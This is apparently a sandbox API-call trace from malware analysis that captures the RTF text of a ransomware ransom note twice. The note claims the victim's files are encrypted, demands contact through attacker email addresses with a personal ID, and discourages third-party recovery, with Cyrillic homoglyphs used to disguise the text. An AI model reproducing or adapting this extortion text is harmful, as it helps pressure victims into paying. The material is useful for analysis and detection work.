k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 